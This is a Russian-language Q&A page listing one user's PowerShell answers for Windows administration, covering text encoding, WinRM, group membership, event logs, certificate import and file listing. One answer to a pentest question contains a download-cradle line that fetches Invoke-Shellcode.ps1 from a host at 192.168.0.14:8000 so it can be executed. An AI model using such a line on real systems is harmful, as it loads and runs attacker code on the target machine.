Ответы пользователя по тегу Windows
  • Как исправить проблему с кодировкой?

    @MaxKozlov Куратор тега PowerShell
    Эти перекодировки та ещё фигня
    "На коленке" не покажу, а системно вот так,
    function Get-TextEncoding ($Encoding) {
    		switch -regex ($Encoding) {
    			'default' {
    				[System.Text.Encoding]::Default
    			}
    			'utf8' {
    				[System.Text.Encoding]::UTF8
    			}
    			'oem' {
    				[System.Text.Encoding]::GetEncoding(
    					(Get-Culture).TextInfo.OEMCodePage
    				)
    			}
    			'ansi' {
    				[System.Text.Encoding]::GetEncoding(
    					(Get-Culture).TextInfo.ANSICodePage
    				)
    			}
    			'^\d+$' {
    				[System.Text.Encoding]::GetEncoding([int]$Encoding)
    			}
    			default {
    				[System.Text.Encoding]::GetEncoding($Encoding)
    			}
    		}
    }
    function Convert-TextEncoding {
    param (
    	[Parameter(ValueFromPipeline=$true,Position=0)]
    	[String[]]$InputObject,
    	[Parameter(Mandatory=$true,Position=1)]
    	[string]$FromEncoding,
    	[Parameter(Mandatory=$true,Position=2)]
    	[string]$ToEncoding
    )
    BEGIN {
    	try {
    		$FE = Get-TextEncoding $FromEncoding
    		$TE = Get-TextEncoding $ToEncoding
    	}
    	catch {
    		throw
    	}
    }
    PROCESS{
    	foreach ($s in $InputObject) {
    		if ($s) {
    			$TE.GetString($FE.GetBytes($s))
    		}
    		else {
    			$s
    		}
    	}
    }
    }
    
    Invoke-Command -ComputerName $Computer { net user } | 
        Convert-TextEncoding -FromEncoding 1251 -ToEncoding 866
    Ответ написан
    Комментировать
  • Установка Zabbix Agent на большое количество машин Windows без домена?

    @MaxKozlov Куратор тега PowerShell
    Думаю, раз вам от PS ничего особо и не надо, лучше через psexec
    аналог New-NetFirewallRule прекрасно делается через netsh
    К тому же я что-то не уверен, что у вас на Win7 есть, собственно, New-NetFirewallRule
    да и PSv2 внезапно может везде оказаться
    Ответ написан
    Комментировать
  • Получение информации по жестким дискам через powershell?

    @MaxKozlov Куратор тега PowerShell
    Проверил код отсюда - Tell whether SSD or not in C#
    Вполне рабочий метод. Реализуется целиком из Powershell v5.1 и v7.3

    • No seek penalty - работает из под любого юзера
    • Nominal media rotation rate - только с админскими правами


    Копия кода чтобы не потерялся. Без доработки под PS
    Целиком в ответ вложить места не хватает

    upd: Превратил код в рабочий скрипт Powershell
    Get-PhysicalDriveType.ps1
    Ответ написан
    2 комментария
  • Удаленное управление WinRM?

    @MaxKozlov Куратор тега PowerShell
    Судя по "Stack: 2.0" у вас там powershell v2,
    Для начала поставьте 5.1

    А с кодировкой фигня получается из-за того, что все консольные программы используют не-unicode кодировку

    Обойти можно так, например
    Invoke-Command -ScriptBlock { cmd /c "chcp 65001 && ipconfig /all" } -ComputerName ...


    Минус будет такой, что если у вас сетевое соедниение названо по-русски, оно крокозябрми останется

    Или свой перекодировщик отдельный сделать, которым перекодировать весь вывод после получения
    Ответ написан
    Комментировать
  • Не работает команда в PowerShell. Что делать?

    @MaxKozlov Куратор тега PowerShell
    Если ваш скрипт лежит в той же папке, запускайте как ./Invoke-Shellcode.ps
    Если нет - где лежит, оттуда и запускайте.

    з.ы. и это, если получили ответ - отмечайте ответом
    Ответ написан
    Комментировать
  • Не работает команда в PowerShell. Что делать?

    @MaxKozlov Куратор тега PowerShell
    (New-Object Net.WebClient).DownloadString("http://192.168.0.14:8000/Invoke-Shellcode.ps1")

    помимо ненужного Invoke-Expression у вас ещё протокол не указан. точнее, скорее всего вы его удалили при редактировании, потому что в ошибке-то он есть :)

    p.s. пентест при таких вводных - не очень убедительно
    Ответ написан
    Комментировать
  • Как узнать пользователей, группы удаленного рабочего стола через powershell?

    @MaxKozlov Куратор тега PowerShell
    Я смотрю, вы не пошли по пути remote execution и вам хочется боли ? :)

    Тогда вот, берегите глаза
    $Computername = 'xxx'
    Get-CimInstance Win32_Group -filter "LocalAccount='True' and SID='S-1-5-32-555'" -ComputerName $Computername |
    Select-Object PSComputername,Name,@{Name="Members";Expression={
      (Get-CimAssociatedInstance -InputObject $_ -ResultClassName Win32_UserAccount).Name
    }}

    или в переводе на WMI
    $Computername = 'xxx'
    Get-WMIObject Win32_Group -filter "LocalAccount='True'and SID='S-1-5-32-555'" -ComputerName $Computername|
      Select-Object PSComputername,Name,@{Name="Members";Expression={
       $_.GetRelated("Win32_UserAccount").Name
    }}


    Здесь будут только пользователи. Для вложенных групп надо ещё подкрутить :)
    Upd:
    Ладно, не буду больше томить, нашёл альтернативный вариант
    Во времена PSv2 ещё написал, когда не было встроенной

    function Get-LocalGroupMember {
    param(
    	[Parameter(ValueFromPipeline=$false, Position=0)]
    	[string[]]$GroupName = 'Administrators',
    	[Parameter(ValueFromPipeline=$true)]
    	[string[]]$ComputerName = '.'
    )
    PROCESS {
    	foreach ($computer in $ComputerName) {
    		foreach ($group in $GroupName) {
    			$grp = [ADSI]"WinNT://$computer/$group,group"
    			Write-Verbose ('Group: ' + $grp.Path) # test for existance
    			$members = @($grp.psbase.Invoke("Members"))
    			if ($members) {
    				$members | Foreach-Object {
    					$name = $_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null)
    					$class = $_.GetType().InvokeMember("Class", 'GetProperty', $null, $_, $null)
    					$parent = $_.GetType().InvokeMember("Parent", 'GetProperty', $null, $_, $null) -replace 'WinNT://' -replace '.*/'
    					'' | Select-Object @{n='Class';e={$class}},@{n='Domain';e={$parent}},@{n='Name';e={$name}}
    				}
    			}
    		}
    	}
    }
    }

    Только надо ещё знать имя группы, а оно может быть как на русском, так и на английском
    Пользоваться можно так, на один из вариантов ругнётся, по второму выдаст инфу

    Get-LocalGroupMember -ComputerName MySuperServer -GroupName 'Пользователи удаленного рабочего стола',  'Remote Desktop Users'
    Ответ написан
    2 комментария
  • Как перемещать файлы с заданными характеристиками?

    @MaxKozlov Куратор тега PowerShell
    Избавляться надо от ненужных преобразований типа $Paths = $Paths.FullName
    От вложенного цикла надо избавляться. N^2 однако. Если он там, конечно есть
    Так как нет примера того что у вас в csv, непонятно зачем он нужен вообще
    по тексту у вас вроде как во внешнем $Path должна быть уже просто строка
    Почему вы её ещё раз перебираете как foreach ( $Newpath in $Path) ?

    Ну и мувать с -Exclude *.xl* тоже странно, проще проверить на xl* в коде, чем заставлять этим заниматься move-item. Может быть, вы ps заставляете по новой весь каталог обшаривать таким образом, а в нём 10000 файлов xls

    Плюс, логи на каждый мув могут вас тормозить

    -Passthru на move-item излишен, он может заставлять по новой читать параметры файла с диска, а вам от него нужен только новый полный путь, который вы и так знаете

    А вообще я бы каталоги целиком таскал, по крайней мере на первом проходе.
    Судя по количеству ваших файлов, там большущая помойка.
    Ответ написан
    Комментировать
  • Как изменить уровень яркости?

    @MaxKozlov
    Вот такая ещё есть штука, чуть более низкоуровневая, чем Monitorian, зато малюсенькая
    С командной строкой дружит
    ControlMyMonitor от NirSoft
    Ответ написан
    Комментировать
  • Как в PowerShell подключить диск командой New-PSDrive на удаленном компьютере?

    @MaxKozlov Куратор тега PowerShell
    а если в том же самом Invoke-Command попытаться сделать, например, dir X: ?

    Диск вы подключаете от своего пользователя, а проверяете каким ?

    Подключение диска - оно индивидуально для пользователя

    Вообще, если вам для попользоваться, то в домене политиками диски подключают обычно
    Ответ написан
  • PsExec.exe не удается правильно запустить скрипт?

    @MaxKozlov Куратор тега PowerShell
    о, добрался я таки до нужного компа.
    Как и говорил res2001 в комментариях в пункте 3, это UAC, надо добавить ключик

    psexec -h

    А через PSRemoting оаботает и без того
    Ответ написан
  • WinSCP PowerShell, почему меняет названия файла?

    @MaxKozlov Куратор тега PowerShell
    Судя по вот этой страничке,
    настройка должна быть просто Utf
    А вообще по дефолту там Auto - само должно понять, если сервер умеет

    И у меня всё нормально сработало. Возможно, проблема в настройках вашего сервера

    P.S.
    Хотя, может, я не так понял ваш текст и "При переносе файл меняет название с РУС на "символы\буквы"." касается уже Move-Item, а не PutFiles ?
    Ответ написан
    Комментировать
  • Как можно сохранять данные определенных событий журнала Windows в файле в режиме реального времени?

    @MaxKozlov Куратор тега PowerShell
    ... а если вам надо вот прям рилтайм, есть .net класс System.Diagnostics.EventLog
    а у него событие EventWritten
    $global:log = New-Object System.Collections.ArrayList
    $testobj = New-Object -TypeName System.Diagnostics.EventLog
    $testobj.Log = "Security"
    Register-ObjectEvent -InputObject $testobj -EventName EntryWritten -Action {
      param($sender, $e)
      [void]$global:log.Add([PSCustomObject]@{Sender = $sender; Args = $e })
    }
    
    # Смотреть потом события в переменной
    $global:log


    Заменил пример на более полезный
    Ответ написан
    6 комментариев
  • Как упаковать в exe скрипт?

    @MaxKozlov
    Скрипт на Powershell пойдёт ?
    # PSv7   $cert = [Convert]::ToBase64String((Get-Content D:\Path\To\Certificate.pfx/cer -AsByteStream), 'InsertLineBreaks')
    # PSv5.1 $cert = [Convert]::ToBase64String((Get-Content D:\Path\To\Certificate.pfx/cer -Encoding Byte), 'InsertLineBreaks')
    $Cert = @"
    MIILYgIBAzCCCx4GCSqGSIb3DQEH
    .....
    .....
    .....
    1y1lZqkQICB9A=
    "@
    
    #LocalMachine
    $location = [System.Security.Cryptography.X509Certificates.StoreLocation]::CurrentUser
    
    #ls Cert:\CurrentUser\
    #ls Cert:\LocalMachine\
    $storeName = 'TrustedPublisher'
    
    $store = [System.Security.Cryptography.X509Certificates.X509Store]::new($storeName, $location)
    $store.Open('ReadWrite')
    [byte[]]$content = [Convert]::FromBase64String($cert)
    $certificate = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($content)
    $store.Add($certificate)
    $store.Close()

    В комментариях сверху показано, как получить содержимое сертификата, которое надо подставить в $cert
    В комментариях к $location показано что ещё бывает
    В комментариях к $storeName Показано откуда его брать

    Поддерживается как импорт просто сертификата, так и pfx с ключом
    Пароль для pfx не проверял, но по идее будет работать если он будет указан как new($content, $password)
    Ответ написан
    Комментировать
  • Не работает команда meteor на PowerShell. Как это починить?

    @MaxKozlov Куратор тега PowerShell
    В путях у вас его нету ($env:PATH)
    или, если оно в текущем каталоге, запускайте как в линуксе, через ./meteor
    Ответ написан
    Комментировать
  • PowerShell выдает ошибку 0x80041001. Как решить?

    @MaxKozlov
    Ошибку выдаёт не Powershell, а WSL
    вот тут рекомендуют переставить wsl
    https://github.com/microsoft/WSL/issues/5050#issue...

    А логи лучше поискать
    Ответ написан
    Комментировать
  • Можно ли установить следующую переменную из PowerShell?

    @MaxKozlov Куратор тега PowerShell
    Судя по всему так
    [Windows.Graphics.Capture.GraphicsCaptureSession, Windows.Graphics.Capture, ContentType=WindowsRuntime] | Out-Null
    [Windows.Graphics.Capture.GraphicsCaptureSession]::IsBorderRequired = $true

    Но проверить не могу, не тот билд винды :)

    по мотивам
    https://stackoverflow.com/questions/45086059/how-c...
    Ответ написан
  • Почему при гибернации необходимо держать блок питания включенным?

    @MaxKozlov
    принудительную гибернацию можно сделать с помощью команды shutdown -h -f
    А S3 попытаться выключить в биосе. Может быть тогда и из- gui заработает
    Ответ написан
    Комментировать
  • Как получить список папок отсортированный по количеству файлов?

    @MaxKozlov
    Опять же Powershell:
    $folders = Get-ChildItem -Path C:\  -Directory -Recurse | ForEach-Object {
      [PSCustomObject]@{
        Path=$_.FullName
        Count=$_.FullName | Get-ChildItem -File | Measure-Object | Select-Object -ExpandProperty Count
      }
    } | Sort-Object Count -Descending
    # Посмотреть потом первый десяток:
    $folders | Select -First 10

    Можно, кстати, объединить с другим вопросом, но, скорее всего будут дубли из-за повторных обращений к одной и той же папке, проверять лень :)

    Но всё это крайне медленно.
    Если же просто оценить что-как, лучше взять WizTree https://diskanalyzer.com/
    Ответ написан
  • Как найти папки, у которых нет доступа администратора?

    @MaxKozlov
    Если вам надо просто получить список таких папок, куда админу нельзя, то на Powershell
    $Error.Clear()
    Get-ChildItem C:\ -Recurse -ErrorAction Continue | Out-Null
    $err = $Error | ForEach-Object { $_.TargetObject }
    После этого в переменной $err будет список папок, на которые выдавались ошибки.
    Записать их в файлик
    $err | Set-Content -Path d:\Path_without_access.txt -Encoding UTF8

    Дальше, уже из под Elevated Shell можно через Get-ACL получать на них AccessList и как-то что-то делать
    Ответ написан
    2 комментария